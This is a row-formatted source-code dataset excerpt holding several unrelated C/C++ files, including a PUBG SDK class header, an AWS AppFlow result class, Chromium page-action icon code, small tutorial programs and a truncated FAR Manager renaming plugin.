blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 264 | content_id stringlengths 40 40 | detected_licenses listlengths 0 85 | license_type stringclasses 2 values | repo_name stringlengths 5 140 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 986 values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 3.89k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23 values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 145 values | src_encoding stringclasses 34 values | language stringclasses 1 value | is_vendor bool 1 class | is_generated bool 2 classes | length_bytes int64 3 10.4M | extension stringclasses 122 values | content stringlengths 3 10.4M | authors listlengths 1 1 | author_id stringlengths 0 158 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
dca260c118b22d2b3cf366c87063bad25439027a | 6a5bcb74e116c16ca603a5124b11f1e4355b42a1 | /SDK/PUBG_TSLGameState_classes.hpp | be88185b0e9b1e10b40f302799b260c531e69228 | [] | no_license | taxi2za/PUBG-FULL-SDK | 7ce8d261fb7a34f3dc9690c28408c285e487771d | a91088bcc1747de95a1fbd3416aada189799fb17 | refs/heads/master | 2020-04-27T07:26:16.461620 | 2019-03-05T14:52:06 | 2019-03-05T14:52:06 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,593 | hpp | #pragma once
// PUBG FULL SDK - Generated By Respecter (5.3.4.10 [04/03/2019]) SDK
#ifdef _MSC_VER
#pragma pack(push, 0x8)
#endif
#include "PUBG_TSLGameState_structs.hpp"
namespace SDK
{
//---------------------------------------------------------------------------
//Classes
//---------------------------------------------------------------------------
// BlueprintGeneratedClass TSLGameState.TSLGameState_C
// 0x0018 (0x06F8 - 0x06E0)
class ATSLGameState_C : public ATslGameState
{
public:
struct FPointerToUberGraphFrame UberGraphFrame; // 0x06E0(0x0008) (Transient, DuplicateTransient)
class USceneComponent* DefaultSceneRoot; // 0x06E8(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
int SplineCount; // 0x06F0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
int SplineComponentCount; // 0x06F4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
static UClass* StaticClass()
{
static auto ptr = UObject::FindClass("BlueprintGeneratedClass TSLGameState.TSLGameState_C");
return ptr;
}
void UserConstructionScript();
void UpdateWorldTimeSecondsDelta(float DeltaSeconds);
void ExecuteUbergraph_TSLGameState(int EntryPoint);
};
}
#ifdef _MSC_VER
#pragma pack(pop)
#endif
| [
"45327951+realrespecter@users.noreply.github.com"
] | 45327951+realrespecter@users.noreply.github.com |
d4a737ed59f41ae1b03b82c8cd79139a4e2785ce | a6cf2d493a2896ebe902d000f1445d1c6e79754b | /C/HW16/anketa/main.cpp | 57e435b11a5caac05cf7884a9d5f56995615c0e1 | [] | no_license | itstepP12814/ChehovHW | 5d248f9b126669b978011b2ec3ab5940cba4ca8e | 61184ff8c07a624d4f90704bb634b63a14f5c87b | refs/heads/master | 2016-09-15T07:41:52.300974 | 2016-04-01T11:28:43 | 2016-04-01T11:28:43 | 27,026,430 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,025 | cpp | #include "header.h"
/*нам нужно сделать прогарммку, которая с помощью функции qsort сортирует анкеты сотрудников*/
int main()
{
form *p=base();//запись указателя на массив с данными анкет
int a;
cout<<"\tВыберите по какому криетирб будем сортировать анкеты\n";
cout<<"\t1 - по имени 2 - по фамилии 3 - по возрасту\n\t4 - по полу 5 - выход\n";
cin>>a;
switch(a)
{
case 1:
qsort(p, SIZE, sizeof(form), compareName);
display(p);
break;
case 2:
qsort(p, SIZE, sizeof(form), compareSurname);
display(p);
break;
case 3:
qsort(p, SIZE, sizeof(form), compareAge);
display(p);
break;
case 4:
qsort(p, SIZE, sizeof(form), compareSex);
display(p);
break;
case 5:
break;
}
return 0;
}
| [
"good-1991@mail.ru"
] | good-1991@mail.ru |
3c11281e069bc0bcda69879c2c8a51f994da45a2 | d01dc4b327e33816ac2ce2af40945a721f7b5854 | /aws-cpp-sdk-appflow/include/aws/appflow/model/StartFlowResult.h | 9d47f51786f670bc159888f9319d8dcb6856a4ec | [
"MIT",
"Apache-2.0",
"JSON"
] | permissive | hpcc-systems/aws-sdk-cpp | 36f89272e3b140fea596c73234c09fb240f86520 | 9c93f28159e1e01ea3ef789a1b0c2c9643955c96 | refs/heads/master | 2022-07-17T05:18:08.190972 | 2020-10-19T20:59:11 | 2020-10-19T20:59:11 | 90,974,127 | 0 | 1 | Apache-2.0 | 2022-06-30T14:47:34 | 2017-05-11T11:58:14 | C++ | UTF-8 | C++ | false | false | 2,863 | h | /**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#pragma once
#include <aws/appflow/Appflow_EXPORTS.h>
#include <aws/core/utils/memory/stl/AWSString.h>
#include <aws/appflow/model/FlowStatus.h>
#include <utility>
namespace Aws
{
template<typename RESULT_TYPE>
class AmazonWebServiceResult;
namespace Utils
{
namespace Json
{
class JsonValue;
} // namespace Json
} // namespace Utils
namespace Appflow
{
namespace Model
{
class AWS_APPFLOW_API StartFlowResult
{
public:
StartFlowResult();
StartFlowResult(const Aws::AmazonWebServiceResult<Aws::Utils::Json::JsonValue>& result);
StartFlowResult& operator=(const Aws::AmazonWebServiceResult<Aws::Utils::Json::JsonValue>& result);
/**
* <p> The flow's Amazon Resource Name (ARN). </p>
*/
inline const Aws::String& GetFlowArn() const{ return m_flowArn; }
/**
* <p> The flow's Amazon Resource Name (ARN). </p>
*/
inline void SetFlowArn(const Aws::String& value) { m_flowArn = value; }
/**
* <p> The flow's Amazon Resource Name (ARN). </p>
*/
inline void SetFlowArn(Aws::String&& value) { m_flowArn = std::move(value); }
/**
* <p> The flow's Amazon Resource Name (ARN). </p>
*/
inline void SetFlowArn(const char* value) { m_flowArn.assign(value); }
/**
* <p> The flow's Amazon Resource Name (ARN). </p>
*/
inline StartFlowResult& WithFlowArn(const Aws::String& value) { SetFlowArn(value); return *this;}
/**
* <p> The flow's Amazon Resource Name (ARN). </p>
*/
inline StartFlowResult& WithFlowArn(Aws::String&& value) { SetFlowArn(std::move(value)); return *this;}
/**
* <p> The flow's Amazon Resource Name (ARN). </p>
*/
inline StartFlowResult& WithFlowArn(const char* value) { SetFlowArn(value); return *this;}
/**
* <p> Indicates the current status of the flow. </p>
*/
inline const FlowStatus& GetFlowStatus() const{ return m_flowStatus; }
/**
* <p> Indicates the current status of the flow. </p>
*/
inline void SetFlowStatus(const FlowStatus& value) { m_flowStatus = value; }
/**
* <p> Indicates the current status of the flow. </p>
*/
inline void SetFlowStatus(FlowStatus&& value) { m_flowStatus = std::move(value); }
/**
* <p> Indicates the current status of the flow. </p>
*/
inline StartFlowResult& WithFlowStatus(const FlowStatus& value) { SetFlowStatus(value); return *this;}
/**
* <p> Indicates the current status of the flow. </p>
*/
inline StartFlowResult& WithFlowStatus(FlowStatus&& value) { SetFlowStatus(std::move(value)); return *this;}
private:
Aws::String m_flowArn;
FlowStatus m_flowStatus;
};
} // namespace Model
} // namespace Appflow
} // namespace Aws
| [
"aws-sdk-cpp-automation@github.com"
] | aws-sdk-cpp-automation@github.com |
8e3342b5c75cf58880e508c24908bccf1fdd8549 | 6a2428036d73cfa58f59bf92e75072f7dec1c30c | /Game/PlayerComponent.h | 2450da4f54e83de5984917336ea24c0c10629c96 | [] | no_license | BoxyBoy/GAT150 | dd25e657e76b4eebbe9708d4809fe0c297d7726e | 530c4980ecc7084abc13157966c674178167da84 | refs/heads/master | 2022-12-06T19:27:58.154110 | 2020-08-29T04:40:26 | 2020-08-29T04:40:26 | 284,790,187 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 329 | h | #pragma once
#include "Components/Component.h"
namespace nc
{
class PlayerComponent : public Component
{
public:
virtual void Create(void* data = nullptr) override;
virtual void Destroy() override;
virtual Object* Clone() const override { return new PlayerComponent{ *this }; }
virtual void Update() override;
};
}
| [
"ljmathers20@gmail.com"
] | ljmathers20@gmail.com |
3727563025716b24713c2563e4ffc411a36d033f | 0ecf2d067e8fe6cdec12b79bfd68fe79ec222ffd | /chrome/browser/ui/views/page_action/page_action_icon_view.cc | 25203cb710be5092de3d900f50cd9b68835c5e74 | [
"BSD-3-Clause"
] | permissive | yachtcaptain23/browser-android-tabs | e5144cee9141890590d6d6faeb1bdc5d58a6cbf1 | a016aade8f8333c822d00d62738a922671a52b85 | refs/heads/master | 2021-04-28T17:07:06.955483 | 2018-09-26T06:22:11 | 2018-09-26T06:22:11 | 122,005,560 | 0 | 0 | NOASSERTION | 2019-05-17T19:37:59 | 2018-02-19T01:00:10 | null | UTF-8 | C++ | false | false | 10,865 | cc | // Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/ui/views/page_action/page_action_icon_view.h"
#include "chrome/browser/command_updater.h"
#include "chrome/browser/ui/layout_constants.h"
#include "chrome/browser/ui/omnibox/omnibox_theme.h"
#include "chrome/browser/ui/views/location_bar/background_with_1_px_border.h"
#include "chrome/browser/ui/views/location_bar/location_bar_bubble_delegate_view.h"
#include "chrome/browser/ui/views/location_bar/location_bar_view.h"
#include "ui/accessibility/ax_node_data.h"
#include "ui/base/l10n/l10n_util.h"
#include "ui/base/material_design/material_design_controller.h"
#include "ui/events/event.h"
#include "ui/gfx/color_utils.h"
#include "ui/gfx/paint_vector_icon.h"
#include "ui/native_theme/native_theme.h"
#include "ui/views/animation/flood_fill_ink_drop_ripple.h"
#include "ui/views/animation/ink_drop_highlight.h"
#include "ui/views/animation/ink_drop_impl.h"
#include "ui/views/animation/ink_drop_mask.h"
#include "ui/views/bubble/bubble_dialog_delegate.h"
#include "ui/views/controls/focus_ring.h"
#include "ui/views/style/platform_style.h"
void PageActionIconView::Init() {
AddChildView(image_);
image_->set_can_process_events_within_subtree(false);
image_->EnableCanvasFlippingForRTLUI(true);
SetInkDropMode(InkDropMode::ON);
SetFocusBehavior(FocusBehavior::ACCESSIBLE_ONLY);
}
PageActionIconView::PageActionIconView(CommandUpdater* command_updater,
int command_id,
PageActionIconView::Delegate* delegate)
: widget_observer_(this),
image_(new views::ImageView()),
icon_size_(GetLayoutConstant(LOCATION_BAR_ICON_SIZE)),
command_updater_(command_updater),
delegate_(delegate),
command_id_(command_id),
active_(false),
suppress_mouse_released_action_(false) {
if (views::PlatformStyle::kPreferFocusRings)
focus_ring_ = views::FocusRing::Install(this);
SetBorder(views::CreateEmptyBorder(
GetLayoutInsets(LOCATION_BAR_ICON_INTERIOR_PADDING)));
if (ui::MaterialDesignController::IsNewerMaterialUi()) {
// Ink drop ripple opacity.
set_ink_drop_visible_opacity(
GetOmniboxStateAlpha(OmniboxPartState::SELECTED));
}
}
PageActionIconView::~PageActionIconView() {}
bool PageActionIconView::IsBubbleShowing() const {
// If the bubble is being destroyed, it's considered showing though it may be
// already invisible currently.
return GetBubble() != nullptr;
}
bool PageActionIconView::SetCommandEnabled(bool enabled) const {
DCHECK(command_updater_);
command_updater_->UpdateCommandEnabled(command_id_, enabled);
return command_updater_->IsCommandEnabled(command_id_);
}
void PageActionIconView::SetImage(const gfx::ImageSkia* image_skia) {
image_->SetImage(image_skia);
}
const gfx::ImageSkia& PageActionIconView::GetImage() const {
return image_->GetImage();
}
void PageActionIconView::SetHighlighted(bool bubble_visible) {
AnimateInkDrop(bubble_visible ? views::InkDropState::ACTIVATED
: views::InkDropState::DEACTIVATED,
nullptr);
}
void PageActionIconView::OnBubbleWidgetCreated(views::Widget* bubble_widget) {
widget_observer_.SetWidget(bubble_widget);
if (bubble_widget->IsVisible())
SetHighlighted(true);
}
bool PageActionIconView::Update() {
return false;
}
void PageActionIconView::GetAccessibleNodeData(ui::AXNodeData* node_data) {
node_data->role = ax::mojom::Role::kButton;
node_data->SetName(GetTextForTooltipAndAccessibleName());
}
bool PageActionIconView::GetTooltipText(const gfx::Point& p,
base::string16* tooltip) const {
if (IsBubbleShowing())
return false;
*tooltip = GetTextForTooltipAndAccessibleName();
return true;
}
gfx::Size PageActionIconView::CalculatePreferredSize() const {
gfx::Size image_rect(image_->GetPreferredSize());
image_rect.Enlarge(GetInsets().width(), GetInsets().height());
return image_rect;
}
void PageActionIconView::Layout() {
image_->SetBoundsRect(GetContentsBounds());
if (focus_ring_) {
focus_ring_->Layout();
if (LocationBarView::IsRounded()) {
SkPath path;
const float radius = height() / 2.f;
path.addRoundRect(gfx::RectToSkRect(GetLocalBounds()), radius, radius);
focus_ring_->SetPath(path);
}
}
}
bool PageActionIconView::OnMousePressed(const ui::MouseEvent& event) {
// If the bubble is showing then don't reshow it when the mouse is released.
suppress_mouse_released_action_ = IsBubbleShowing();
if (!suppress_mouse_released_action_ && event.IsOnlyLeftMouseButton())
AnimateInkDrop(views::InkDropState::ACTION_PENDING, &event);
// We want to show the bubble on mouse release; that is the standard behavior
// for buttons.
return true;
}
void PageActionIconView::OnMouseReleased(const ui::MouseEvent& event) {
// If this is the second click on this view then the bubble was showing on the
// mouse pressed event and is hidden now. Prevent the bubble from reshowing by
// doing nothing here.
if (suppress_mouse_released_action_) {
suppress_mouse_released_action_ = false;
OnPressed(false);
return;
}
if (!event.IsLeftMouseButton())
return;
const bool activated = HitTestPoint(event.location());
AnimateInkDrop(
activated ? views::InkDropState::ACTIVATED : views::InkDropState::HIDDEN,
&event);
if (activated)
ExecuteCommand(EXECUTE_SOURCE_MOUSE);
OnPressed(activated);
}
bool PageActionIconView::OnKeyPressed(const ui::KeyEvent& event) {
if (event.key_code() != ui::VKEY_RETURN && event.key_code() != ui::VKEY_SPACE)
return false;
AnimateInkDrop(views::InkDropState::ACTIVATED, nullptr /* &event */);
// As with Button, return activates on key down and space activates on
// key up.
if (event.key_code() == ui::VKEY_RETURN)
ExecuteCommand(EXECUTE_SOURCE_KEYBOARD);
return true;
}
bool PageActionIconView::OnKeyReleased(const ui::KeyEvent& event) {
if (event.key_code() != ui::VKEY_SPACE)
return false;
ExecuteCommand(EXECUTE_SOURCE_KEYBOARD);
return true;
}
void PageActionIconView::ViewHierarchyChanged(
const ViewHierarchyChangedDetails& details) {
View::ViewHierarchyChanged(details);
if (details.is_add && details.child == this && GetNativeTheme())
UpdateIconImage();
}
void PageActionIconView::OnNativeThemeChanged(const ui::NativeTheme* theme) {
UpdateIconImage();
}
void PageActionIconView::OnThemeChanged() {
UpdateIconImage();
}
void PageActionIconView::AddInkDropLayer(ui::Layer* ink_drop_layer) {
image_->SetPaintToLayer();
image_->layer()->SetFillsBoundsOpaquely(false);
views::InkDropHostView::AddInkDropLayer(ink_drop_layer);
}
void PageActionIconView::RemoveInkDropLayer(ui::Layer* ink_drop_layer) {
views::InkDropHostView::RemoveInkDropLayer(ink_drop_layer);
image_->DestroyLayer();
}
std::unique_ptr<views::InkDrop> PageActionIconView::CreateInkDrop() {
std::unique_ptr<views::InkDropImpl> ink_drop =
CreateDefaultFloodFillInkDropImpl();
ink_drop->SetShowHighlightOnFocus(!views::PlatformStyle::kPreferFocusRings);
return std::move(ink_drop);
}
std::unique_ptr<views::InkDropRipple> PageActionIconView::CreateInkDropRipple()
const {
return std::make_unique<views::FloodFillInkDropRipple>(
size(), GetInkDropCenterBasedOnLastEvent(), GetInkDropBaseColor(),
ink_drop_visible_opacity());
}
std::unique_ptr<views::InkDropHighlight>
PageActionIconView::CreateInkDropHighlight() const {
std::unique_ptr<views::InkDropHighlight> highlight =
CreateDefaultInkDropHighlight(
gfx::RectF(GetMirroredRect(GetContentsBounds())).CenterPoint(),
size());
if (ui::MaterialDesignController::IsNewerMaterialUi()) {
highlight->set_visible_opacity(
GetOmniboxStateAlpha(OmniboxPartState::HOVERED));
}
return highlight;
}
SkColor PageActionIconView::GetInkDropBaseColor() const {
const SkColor ink_color_opaque = GetNativeTheme()->GetSystemColor(
ui::NativeTheme::kColorId_TextfieldDefaultColor);
if (ui::MaterialDesignController::IsNewerMaterialUi()) {
// Opacity of the ink drop is set elsewhere, so just use full opacity here.
return ink_color_opaque;
}
return color_utils::DeriveDefaultIconColor(ink_color_opaque);
}
std::unique_ptr<views::InkDropMask> PageActionIconView::CreateInkDropMask()
const {
if (!LocationBarView::IsRounded())
return nullptr;
return std::make_unique<views::RoundRectInkDropMask>(size(), gfx::Insets(),
height() / 2.f);
}
void PageActionIconView::OnGestureEvent(ui::GestureEvent* event) {
if (event->type() == ui::ET_GESTURE_TAP) {
AnimateInkDrop(views::InkDropState::ACTIVATED, event);
ExecuteCommand(EXECUTE_SOURCE_GESTURE);
event->SetHandled();
}
}
void PageActionIconView::ExecuteCommand(ExecuteSource source) {
OnExecuting(source);
if (command_updater_)
command_updater_->ExecuteCommand(command_id_);
}
void PageActionIconView::OnBoundsChanged(const gfx::Rect& previous_bounds) {
views::BubbleDialogDelegateView* bubble = GetBubble();
if (bubble)
bubble->OnAnchorBoundsChanged();
InkDropHostView::OnBoundsChanged(previous_bounds);
}
void PageActionIconView::SetIconColor(SkColor icon_color) {
icon_color_ = icon_color;
UpdateIconImage();
}
void PageActionIconView::UpdateIconImage() {
const ui::NativeTheme* theme = GetNativeTheme();
SkColor icon_color = active_
? theme->GetSystemColor(
ui::NativeTheme::kColorId_ProminentButtonColor)
: icon_color_;
image_->SetImage(
gfx::CreateVectorIcon(GetVectorIcon(), icon_size_, icon_color));
}
void PageActionIconView::SetActiveInternal(bool active) {
if (active_ == active)
return;
active_ = active;
UpdateIconImage();
}
content::WebContents* PageActionIconView::GetWebContents() const {
return delegate_->GetWebContentsForPageActionIconView();
}
PageActionIconView::WidgetObserver::WidgetObserver(PageActionIconView* parent)
: parent_(parent), scoped_observer_(this) {}
PageActionIconView::WidgetObserver::~WidgetObserver() = default;
void PageActionIconView::WidgetObserver::SetWidget(views::Widget* widget) {
scoped_observer_.RemoveAll();
scoped_observer_.Add(widget);
}
void PageActionIconView::WidgetObserver::OnWidgetDestroying(
views::Widget* widget) {
scoped_observer_.Remove(widget);
}
void PageActionIconView::WidgetObserver::OnWidgetVisibilityChanged(
views::Widget* widget,
bool visible) {
// |widget| is a bubble that has just got shown / hidden.
parent_->SetHighlighted(visible);
}
| [
"artem@brave.com"
] | artem@brave.com |
4feb76c94b4b103c962fed4f822afb76489fec28 | a37358a501fb138854681a9c35657aa21d8d3f96 | /Ex3_05/Ex3_05/Ex3_05.cpp | 2765b7f24b2204e2449a118c3cf5bc49bc9d3fb5 | [] | no_license | diff1982/cstudy | aeef4f1c3cda57562798919423be5b3470822a60 | 70149736fc9bea573be281f603bcbbbbfd6d4af8 | refs/heads/master | 2021-01-01T17:59:03.840440 | 2018-05-10T09:30:40 | 2018-05-10T09:30:40 | 98,211,474 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,053 | cpp | /************************************************************************/
/* Ex3_05.cpp Using the switch statment */
/************************************************************************/
#include <iostream>
using std::cout;
using std::endl;
using std::cin;
int main(){
int choice{};
cout << endl
<< "Your electronic recipe book is at your service." << endl
<< "You can choose from the following delicious dishes: "
<< endl
<< endl << "1 Boiled eggs"
<< endl << "2 Fried eggs"
<< endl << "3 Scrambled eggs"
<< endl << "4 Coddled eggs"
<< endl << endl
<< "Enter your selection number : ";
cin >> choice;
switch (choice)
{
case 1:cout << endl << "Boil some eggs." << endl;
break;
case 2:cout << endl << "Fry some eggs." << endl;
break;
case 3:cout << endl << "Scramble some eggs." << endl;
break;
case 4:cout << endl << "Coddle some eggs." << endl;
break;
default:cout << endl << "You entered a wrong number,try raw eggs."<<endl;
break;
}
} | [
"43110873@qq.com"
] | 43110873@qq.com |
51c4a0f506d5f909fd59ef5639f2803ce19a271e | 7a28fd87d8a61c9df3e95173aad779f31a04be44 | /TeamServerCluster/TeamSource/TeamGS/GameServer/Logic/GameHall/Texas/TexasGame/TexasGameMsgDealerRes.cpp | 49013f7c0a8d699f63d0081c28ddff7127de2f77 | [] | no_license | kspine/TeamServer | e84a858254736c05cc33780978212f7f982e549e | 360de39453156f4c4fbb5d99325aef28d2a5f75c | refs/heads/master | 2021-01-22T05:15:55.186201 | 2016-11-30T02:53:35 | 2016-11-30T02:53:35 | 81,638,625 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 807 | cpp | #include "TexasGame.h"
#include "../TexasRoom/TexasRoomManager.h"
#include "../../../../Logic/Message/GSMessage/GSMessage.h"
void CTexasGame::ProcessMsg_Dealer_GameStartRes()
{
GSGameStartRes refGSGameStartRes;
if (!CheckRole())
{
refGSGameStartRes.nGameStartResult = (int)EMSGT_Failure;
CGSMessage::Instance().ProcessMsg_GameStartRes(refGSGameStartRes, m_nGirlId);
return;
}
{
m_bDealerStart = OnGameStart_Check();
if (!m_bDealerStart)
{
refGSGameStartRes.nGameStartResult = (int)EMSGT_Failure;
CGSMessage::Instance().ProcessMsg_GameStartRes(refGSGameStartRes, m_nGirlId);
return;
}
refGSGameStartRes.nGameStartResult = (int)EMSGT_Success;
CGSMessage::Instance().ProcessMsg_GameStartRes(refGSGameStartRes, m_nGirlId);
OnGameStart_Manual();
GirlStartGame();
}
} | [
"kspine@163.com"
] | kspine@163.com |
6b8b2a3ec4f5f7b0e867d9f54b7fb0afb170162a | d0fb5f5f19ad6881c2fb6c0952f9857522305b63 | /07-files/main.cpp | 7fa6d1cda5cfb15b3ebbfd835b39bd73908327cf | [] | no_license | frmeu9/cpp_project | 55a811cfc06049496ce62b6db23f77e7c777b3bd | 9bcab7531a3ae0a75f4826406c8fbc1c226b96ac | refs/heads/master | 2023-02-16T05:49:01.300106 | 2021-01-18T00:13:04 | 2021-01-18T00:13:04 | 312,728,825 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,934 | cpp | #include <iostream>
#include <fstream>
#include <string>
using namespace std;
int main() {
string const filepath("C:/Users/user418/Documents/Personnel/cpp_project/07-files/myfile.txt");
ofstream myflux(filepath.c_str());
if(myflux){
myflux << "This is the first sentence to be written in the file." << endl;
myflux << "Username: Francoise Meunier" << endl;
myflux << "Age: " << 24 << endl;
}
else {
cout << "ERROR: Can't find the specified file: " << filepath << endl;
}
// to add stuff at the end of an existing file
ofstream myflux2(filepath.c_str(), ios::app);
if (myflux2)
{
myflux2 << "Pet: cockatiel" << endl;
}
else {
cout << "ERROR: Can't find the specified file: " << filepath << endl;
}
// to open file in read-only mode
ifstream myflux3(filepath.c_str()); //Ouverture d'un fichier en lecture
if(myflux3)
{
// to read line by line: getline()
// to read words by words: <<
// to read char by char: get()
string line;
getline(myflux3, line);
cout << line << endl;
// when changing reading mode, just like with cin and cin.ignore, we have to add myflux3.ignore()
string word;
myflux3 >> word;
cout << word << endl;
myflux3.ignore();
char a;
myflux3.get(a);
cout << a << endl;
}
else
{
cout << "ERROR: Can't open the specified file: " << filepath << endl;
}
// read the whole file
ifstream myflux4(filepath.c_str());
if(myflux4)
{
//L'ouverture s'est bien passée, on peut donc lire
string line2; //Une variable pour stocker les lignes lues
while(getline(myflux4, line2)) //Tant qu'on n'est pas à la fin, on lit
{
cout << line2 << endl;
}
}
else
{
cout << "ERREUR: Impossible d'ouvrir le fichier en lecture." << endl;
}
// how to open and close a file (not necessary)
ofstream myflux5;
myflux5.open(filepath.c_str());
myflux5.close();
// cursor: knowing the position
// for ifstream: tellg()
// for ofstream: tellp()
ofstream file(filepath.c_str());
int position = file.tellp();
cout << "We are at the " << position << "th character of the file." << endl;
// changing the position of the cursor
// for ifstream: seekg()
// for ofstream: seekp()
// arguments of seekg(number_of_char_to_move, starting_char)
// position: ios::beg (beginning), ios::end, ios::cur (current position)
file.seekp(10, ios::cur);
int position2 = file.tellp();
cout << "We are at the " << position2 << "th character of the file." << endl;
// knowing the file size
// for ifstream: tellg()
// for ofstream: tellp()
cout << "Size of the file: " << file.tellp() << " bytes" << endl;
return 0;
}
| [
"francoise.meunier@leddartech.com"
] | francoise.meunier@leddartech.com |
aba4afe20123c59d7452b1ca5f2ef2316f2b88e0 | 38d2133487a508805a18e634cb21788df37b3bb1 | /visren/SRC/VisRen5_REN.cpp | 3130d3ff953dd1f0fabb7ed2b6f8e4971b9729a9 | [
"BSD-3-Clause"
] | permissive | barbalion/farplug-alvls | dcaf7758e34df02c56f5d0fd0318df2bf7cf8ca2 | d26fb36abdac642b18def09d63b8d70b5d39cbc9 | refs/heads/master | 2021-05-09T10:05:41.410464 | 2018-01-25T18:40:17 | 2018-01-25T18:40:17 | 118,952,115 | 3 | 0 | null | null | null | null | WINDOWS-1251 | C++ | false | false | 33,386 | cpp | /****************************************************************************
* VisRen5_REN.cpp
*
* Plugin module for FAR Manager 1.75
*
* Copyright (c) 2007-2010 Alexey Samlyukov
****************************************************************************/
enum {
CASE_NAME_NONE = 0x00000001,
CASE_NAME_LOWER = 0x00000002,
CASE_NAME_UPPER = 0x00000004,
CASE_NAME_FIRST = 0x00000008,
CASE_NAME_TITLE = 0x00000010,
CASE_EXT_NONE = 0x00000020,
CASE_EXT_LOWER = 0x00000040,
CASE_EXT_UPPER = 0x00000080,
CASE_EXT_FIRST = 0x00000100,
CASE_EXT_TITLE = 0x00000200,
CASE_NAME_MUSIC = 0x00000400 // музыкальный файл - обрабатывается особо
};
enum {
TRANSLIT_NAME_NONE = 0x00000001,
TRANSLIT_NAME_ENG = 0x00000002,
TRANSLIT_NAME_RUS = 0x00000004,
TRANSLIT_EXT_NONE = 0x00000010,
TRANSLIT_EXT_ENG = 0x00000020,
TRANSLIT_EXT_RUS = 0x00000040
};
/****************************************************************************
* Очистка элементов для отката переименования
****************************************************************************/
static void FreeUndo()
{
for (int i=sUndoFI.iCount-1; i>=0; i--)
{
my_free(sUndoFI.CurFileName[i]);
my_free(sUndoFI.OldFileName[i]);
}
my_free(sUndoFI.CurFileName); sUndoFI.CurFileName=0;
my_free(sUndoFI.OldFileName); sUndoFI.OldFileName=0;
my_free(sUndoFI.Dir); sUndoFI.Dir=0;
sUndoFI.iCount=0;
}
/****************************************************************************
* Заполнение структуры элементами для отката
****************************************************************************/
static bool BuildUndoItem(const TCHAR *CurFileName, const TCHAR *OldFileName, int Count)
{
if (Count>=sUndoFI.iCount)
{
sUndoFI.CurFileName=(TCHAR**)my_realloc(sUndoFI.CurFileName, (Count+1)*sizeof(TCHAR*));
sUndoFI.OldFileName=(TCHAR**)my_realloc(sUndoFI.OldFileName, (Count+1)*sizeof(TCHAR*));
if (!sUndoFI.CurFileName || !sUndoFI.OldFileName) return false;
}
sUndoFI.CurFileName[Count]=(TCHAR*)my_realloc(sUndoFI.CurFileName[Count], (lstrlen(CurFileName)+1)*sizeof(TCHAR));
sUndoFI.OldFileName[Count]=(TCHAR*)my_realloc(sUndoFI.OldFileName[Count], (lstrlen(OldFileName)+1)*sizeof(TCHAR));
if (!sUndoFI.CurFileName[Count] || !sUndoFI.OldFileName[Count]) return false;
lstrcpy(sUndoFI.CurFileName[Count], CurFileName);
lstrcpy(sUndoFI.OldFileName[Count], OldFileName);
return true;
}
/****************************************************************************
* Проверка имени файла на допустимые символы
****************************************************************************/
static bool CheckFileName(const TCHAR *str)
{
static TCHAR Denied[]=_T("<>:\"*?/\\|");
for (TCHAR *s=(TCHAR *)str; *s; s++)
for (TCHAR *p=Denied; *p; p++)
if (*s==*p) return false;
return true;
}
/****************************************************************************
* Строит полное имя файла из пути и имени
****************************************************************************/
static TCHAR *BuildFullFilename(TCHAR *FullFileName, const TCHAR *Dir, const TCHAR *FileName)
{
FSF.AddEndSlash(lstrcpy(FullFileName, Dir));
return lstrcat(FullFileName, FileName);
}
/****************************************************************************
* Проверим, что содержимое тега не пусто
****************************************************************************/
static bool IsEmpty(const TCHAR *Str)
{
if (Str)
{
for (int i=0; i<lstrlen(Str); i++)
if ( (Str[i] != _T('\n')) && (Str[i] != _T('\r')) && (Str[i] != _T('\t'))
&& (Str[i] != _T('\0')) && (Str[i] != _T(' ')) )
return false;
}
return true;
}
/****************************************************************************
* Преобразование по маске имени и расширения файлов
****************************************************************************/
static bool GetNewNameExt(const TCHAR *src, TCHAR *destName, TCHAR *destExt,
unsigned ItemIndex, DWORD *dwCase, DWORD *dwTranslit,
FILETIME ftLastWriteTime)
{
SYSTEMTIME modific; FILETIME local;
FileTimeToLocalFileTime(&ftLastWriteTime, &local);
FileTimeToSystemTime(&local, &modific);
static TCHAR FullFilename[MAX_PATH];
GetCurrentDirectory(sizeof(FullFilename), FullFilename);
BuildFullFilename(FullFilename, FullFilename, src);
bool bCorrectJPG=false, bCorrectBMP=false, bCorrectGIF=false, bCorrectPNG=false;
ID3TagInternal *pInternalTag=0;
if (Info.CmpName(_T("*.mp3"), src, true))
pInternalTag=AnalyseMP3File(FullFilename);
else if (Info.CmpName(_T("*.jpg"), src, true))
bCorrectJPG=AnalyseImageFile(FullFilename, isJPG);
else if (Info.CmpName(_T("*.bmp"), src, true))
bCorrectBMP=AnalyseImageFile(FullFilename, isBMP);
else if (Info.CmpName(_T("*.gif"), src, true))
bCorrectGIF=AnalyseImageFile(FullFilename, isGIF);
else if (Info.CmpName(_T("*.png"), src, true))
bCorrectPNG=AnalyseImageFile(FullFilename, isPNG);
TCHAR Name[NM], Ext[NM];
lstrcpy(Name, src);
TCHAR *ptr=strrchr(Name, _T('.'));
if (ptr) { *ptr=_T('\0'); lstrcpy(Ext, ++ptr); }
else Ext[0]=_T('\0');
for (int Index=0; Index<=1; Index++)
{
TCHAR *pMask=(Index==0 ? Opt.MaskName : Opt.MaskExt);
TCHAR buf[512]={_T('\0')};
